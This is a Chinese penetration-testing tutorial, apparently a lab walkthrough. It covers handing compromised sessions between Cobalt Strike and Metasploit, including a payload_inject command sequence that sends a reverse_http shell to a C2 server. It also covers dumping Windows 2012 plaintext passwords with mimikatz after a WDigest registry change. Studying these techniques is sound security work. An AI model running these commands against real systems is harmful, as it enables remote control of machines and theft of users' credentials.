CS与MSF的权限互相传递/mimikatz抓取windows 2012明文密码

目录

CS和MSF的简单介绍

Metasploit

Cobalt Strike

1、CS权限传递到MSF

2、MSF权限传递到CS

3、使用mimikatz抓取明文密码

通过修改注册表+用户重新登录后抓取明文密码

今天的任务是两个

  • 一个是CS与MSF的权限互相传递
  • 一个是抓取windows2012的明文密码

那就分别来完成

CS和MSF的简单介绍

Metasploit

Metasploit就是一个漏洞框架。

它的全称叫做The Metasploit Framework，简称MSF。

是一个免费、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。

它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。

当H.D. Moore在2003年发布MSF时，计算机安全状况也被永久性地改变了。仿佛一夜之间，任何人都可以成为黑客，每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了，这是因为MSF团队一直都在努力开发各种攻击工具，并将它们贡献给所有MSF用户。

MSF的设计初衷是打造成一个攻击工具开发平台，然而在目前情况下，安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。

Cobalt Strike

Cobalt Strike是一款渗透测试神器，常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。 Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成，包括站点克隆获取浏览器的相关信息等。 早期版本Cobalt Srtike依赖Metasploit框架，而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用1。 这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具)，而Cobalt Strike大家可以理解其为Armitage的商业版。

1、CS权限传递到MSF

使用CS生成一个木马文件

这里将木马文件放在WWW目录下，模拟内网web服务器主机

然后在靶机中模拟用户访问文件，下载木马文件后，以管理员身份运行

运行完成后，查看CS

可以看到，CS中成功上线了靶机的shell

下面就是想办法给权限传递到MSF中了

首先就是在MSF中先进行监听，毕竟马上就要有人给你发送请求了

然后再CS上面进行如下操作：

新建一个监听器

这里的Foreign HTTP的含义：

foreign/reverse_http: 将目标权限通过http的方式外派给metasploit或empire
foreign/reverse_https: 将目标权限通过https的方式外派给metasploit或empire
foreign/reverse_tcp: 将目标权限通过tcp的方式外派给metasploit或empire

这里我选择的就是将目标权限通过http的方式外派给msf

新建完成后，我们选中目标会话，然后右键点击新建会话，选择刚才新建的监听器

注：这里我犯了个低级的错误，可以看到我上面选择paylod时使用的是windows/meterpreter/reverse_tcp，这里不对的，在CS的监听器中说明的很明确了是以http/https/tcp，我选择的是http，但是接收端监听的是tcp，导致一下错误

通过更改后才成功上线，大家也要注意

修改正确后，点击Choose后去查看MSF：

可以看到shell已经成功的上线到MSF中了

2、MSF权限传递到CS

还是同样的在MAS中使用mafvenom生成一个木马文件到apache的站点目录文件中：

然后再使用MSF开启一个对应的ip端口的监听

还是同样的模拟用户访问该木马文件，下载，以管理员身份运行

然后查看MSF中的监听已经有shell上线了

下面就是将MSF中的shell传递到CS中了

首先在CS中新建一个监听器：

然后在msf中将会话使用background放到后台运行，因为下面还是进行其他操作：

然后在MSF中执行下列命令来进行会话传递：

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.159.151   # CS服务端IP
set lport 80       # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1  # 会话id
run

执行完成后去查看CS，就可以看到CS中成功上线了MSF的会话了

3、使用mimikatz抓取明文密码

这里再简单的介绍一下mimikatz这款神器

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具，本意是用来个人测试，但由于其功能强大，能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试，可以说是渗透必备工具。

这里还是以CS为例吧，图像化好看一些

当目标上限到CS中后，我们可以右键会话里面有集成好的mimikatz

注：

我这里因为汉化了，正常应该是用mimikatz的

点击进行抓取，这里能够抓取的前提就是目标至少是管理员权限，如果不是管理员权限会爆错的：

可以看到抓取到的是hash值，并不是明文密码

并且这里也不是任务要求的windows2012系统，这里我还是切换到windows2012系统吧

这里就不上线到CS中，反客为主一手，将mimikatz上传到windows2012主机上

上传后，以管理员方式运行cmd，如果这里不以管理员运行可能后面执行命令会权限拒绝

然后还是同样的，执行下列命令进行密码抓取：

privilege::debug  #获取权限
sekurlsa::logonpasswords 获取密码

可以看到还是无法抓取到明文密码，下面就是介绍抓取明文密码的方法了

通过修改注册表+用户重新登录后抓取明文密码

利用前提：拿到了admin权限的cmd，管理员用密码登录机器，并运行了lsass.exe进程，把密码保存在内存文件lsass进程中。

抓取明文的思路和流程：手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 

通过修改注册表来让Wdigest Auth保存明文口令：

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

如需恢复原样，只需将上图REG_DWORD的值1改为0即可。

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

修改注册表之后，修改了之后需要用户注销或者重新登陆之后才会生效。

这里我们就模拟正常用户重启系统，然后登录

使用mimikatz抓取密码：

可以看到现在已经可以抓取到明文密码了

参考文章：
Cobaltstrike 学习笔记（三）CS与MSF联动-腾讯云开发者社区-腾讯云

垂死挣扎？拯救你的Meterpreter session-安全客 - 安全资讯平台

mimikatz在Win10及2012系统以后的明文抓取方式-CSDN博客

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/36033.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

云计算基础技术

云计算基础技术

云计算基础技术概览 计算类产品主要提供算力，支持业务运行，例如网站、办公软件、数据分析等计算能力，目前典型的产品主要是虚拟化和容器，在公有云上的云主机本质也是虚拟机。网络类产品主要满足资源的网络连通性和隔离&#xff0c…
阅读更多...
软考初级网络管理员__软件单选题

软考初级网络管理员__软件单选题

1.如下图所示，在IE“Intemet选项”对话框的()选项卡中可指定电子邮件程序。 常规 内容 高级 程序 2.在Excel的A1单元格中输入函数“ROUND(1/3,3)”,按回车键之后，A1中的值为()。 1 1/3 0.34 0.333 3.在输入Word文档过程中，为了防止意…
阅读更多...
Pinia的基本用法

Pinia的基本用法

Pinia的安装和引入 1.安装Pinia npm install pinia2. 在vue项目的main.js文件中引入pinia import { createApp } from vue import { createPinia } from pinia import App from ./App.vueconst pinia createPinia() const app createApp(App)app.use(pinia) app.mount(#ap…
阅读更多...
日志打印中对容器（包括多级容器）的通用输出

日志打印中对容器（包括多级容器）的通用输出

在日志打印中，往往有打印一个数组、集合等容器中的每个元素的需求，这些容器甚至可能嵌套起来，如果每个地方都用for循环打印，将会特别麻烦。基于这种需求，作者尝试实现一个通用的打印函数SeqToStr()，将容器序…
阅读更多...
线上民族传统服饰商城

线上民族传统服饰商城

摘 要 随着互联网的不断发展和普及，电子商务成为了人们生活中不可或缺的一部分。传统的线下购物方式逐渐被线上购物所取代，人们越来越习惯在互联网上购物。而民族传统服饰作为我国丰富多样的民族文化的重要组成部分，具有独特的艺术价值和商业…
阅读更多...
unity VR Interaction Framework 创建新手势

unity VR Interaction Framework 创建新手势

提示：文章有错误的地方，还望诸位大神不吝指教！ 文章目录 前言一、新建物体，并添加必要组件二、添加抓取点三、查看手势的可视化样式四、制作新的手势1.点击编辑2.根据需求调节手指关节3.保存手势4. 使用创建的手势5.运行 总结 前言…
阅读更多...
远程过程调用协议gRPC及在go环境下的使用

远程过程调用协议gRPC及在go环境下的使用

1. 远程过程调用协议 1.1 定义 远程过程调用(Remote Procedure Call，PRC是一种进程间通信技术，它使得程序可以像调用本地函数一样调用远程服务器上的函数。RPC 屏蔽了底层的通信细节，让开发者能够更专注于业务逻辑，而无需关心网络…
阅读更多...
无源电压继电器 JDY-1210AW 导轨安装 约瑟JOSEF

无源电压继电器 JDY-1210AW 导轨安装 约瑟JOSEF

系列型号： JDY-1002AW电压继电器；JDY-1002B电压继电器； JDY-1110AW电压继电器；JDY-1110B电压继电器； JDY-1220AW电压继电器；JDY-1220B电压继电器； JDY-1100AW电压继电器；JDY-110…
阅读更多...
服务器数据恢复—用raid6阵列磁盘组建raid5阵列如何恢复原raid数据？

服务器数据恢复—用raid6阵列磁盘组建raid5阵列如何恢复原raid数据？

服务器存储数据恢复环境： 华为OceanStor 5800存储，该存储中有一组由10块硬盘组建的raid6磁盘阵列，供企业内部使用，服务器安装linux操作系统EXT3文件系统，划分2个lun。 服务器存储故障： 管理员发现存储中rai…
阅读更多...
JavaScript的学习之dom的查询（一）

JavaScript的学习之dom的查询（一）

一、获得元素 通过document对象调用&#xff1a; getElementById()&#xff1a;通过id属性获取一个元素节点对象getElementsByTagName()&#xff1a;通过标签名获取一组元素节点对象getElementsByName()&#xff1a;通过name属性来获取一组元素节点对象 核心学习代码 <scrip…
阅读更多...
记录一次即将出现的钓鱼新方式

记录一次即将出现的钓鱼新方式

钓鱼通常是内网渗透过程中的最为常见的入口方式&#xff0c;但是随着蓝队人员溯源反制思路开阔&#xff0c;入侵排查能力提升&#xff0c;钓鱼也越来越困难&#xff0c;这里就记一种不同寻常的钓鱼方式。 pip install 的执行流程&#xff1a; 先获取到远端的服务器地址 url 比…
阅读更多...
单目标应用：基于吸血水蛭优化器（Blood-Sucking Leech Optimizer，BSLO）的微电网优化（MATLAB代码）

单目标应用：基于吸血水蛭优化器（Blood-Sucking Leech Optimizer，BSLO）的微电网优化（MATLAB代码）

一、微电网模型介绍 微电网多目标优化调度模型简介_vmgpqv-CSDN博客 参考文献&#xff1a; [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、吸血水蛭优化器求解微电网 2.1算法简介 吸血水蛭优化器&#xff08;B…
阅读更多...
【Java Web】Tomcat服务器

【Java Web】Tomcat服务器

目录 一、Tomcat是什么 二、Tomcat安装 三、Tomcat相关目录 四、Web项目标准目录结构规范 五、Tomcat项目部署方式 六、IDEA关联本地Tomcat 七、HTTP协议 7.1 http的交互方式 7.1.1 http长连接和短连接 7.1.2 http1.1缓存机制 7.2 http数据报文格式 八、常见响应状态码 一、Tom…
阅读更多...
印刷企业数字工厂管理系统如何保障产品质量

印刷企业数字工厂管理系统如何保障产品质量

一、引言 随着信息技术的迅猛发展&#xff0c;印刷行业也迎来了数字化转型的浪潮。数字工厂管理系统作为这一转型的核心工具&#xff0c;不仅在提高生产效率、优化资源配置方面发挥了重要作用&#xff0c;更在保障产品质量上扮演着关键角色。本文将深入探讨印刷企业数字工厂管…
阅读更多...
浏览器扩展V3开发系列之 chrome.contextMenus 右键菜单的用法和案例

浏览器扩展V3开发系列之 chrome.contextMenus 右键菜单的用法和案例

【作者主页】&#xff1a;小鱼神1024 【擅长领域】&#xff1a;JS逆向、小程序逆向、AST还原、验证码突防、Python开发、浏览器插件开发、React前端开发、NestJS后端开发等等 chrome.contextMenus 允许开发者向浏览器的右键菜单添加自定义项。 在使用 chrome.contextMenus 之前…
阅读更多...
本地读取classNames txt文件

本地读取classNames txt文件

通过本地读取classNames，来减少程序修改代码，提高了程序的拓展性和自定义化。 步骤： 1、输入本地路径，分割字符串。 2、将className按顺序放入vector容器中。 3、将vector赋值给classNmaes；获取classNames.size（），赋值给CLASSES；这样，类别个数和类别都已经赋值完成。…
阅读更多...
Python | Leetcode Python题解之第199题二叉树的右视图

Python | Leetcode Python题解之第199题二叉树的右视图

题目&#xff1a; 题解&#xff1a; class Solution:def rightSideView(self, root: TreeNode) -> List[int]:rightmost_value_at_depth dict() # 深度为索引&#xff0c;存放节点的值max_depth -1stack [(root, 0)]while stack:node, depth stack.pop()if node is not…
阅读更多...
第N8周:seq2seq翻译实战-Pytorch复现

第N8周:seq2seq翻译实战-Pytorch复现

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制 一、前期准备 from __future__ import unicode_literals, print_function, division from io import open import unicodedata import s…
阅读更多...
50、基于NARX神经网络的磁悬浮建模(matlab)

50、基于NARX神经网络的磁悬浮建模(matlab)

1、NARX神经网络简介 NARX&#xff08;非线性自回归外部输入&#xff09;神经网络是一种用于非线性建模和预测的神经网络结构。与传统的自回归模型不同&#xff0c;NARX网络可以接收外部输入来影响输出结果&#xff0c;从而更好地捕捉系统的复杂性和非线性特征。 NARX神经网络…
阅读更多...
竞赛选题 python+深度学习+opencv实现植物识别算法系统

竞赛选题 python+深度学习+opencv实现植物识别算法系统

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的植物识别算法研究与实现 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;4分工作量&#xff1a;4分创新点&#xff1a;4分 &#x1f9ff; 更多…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023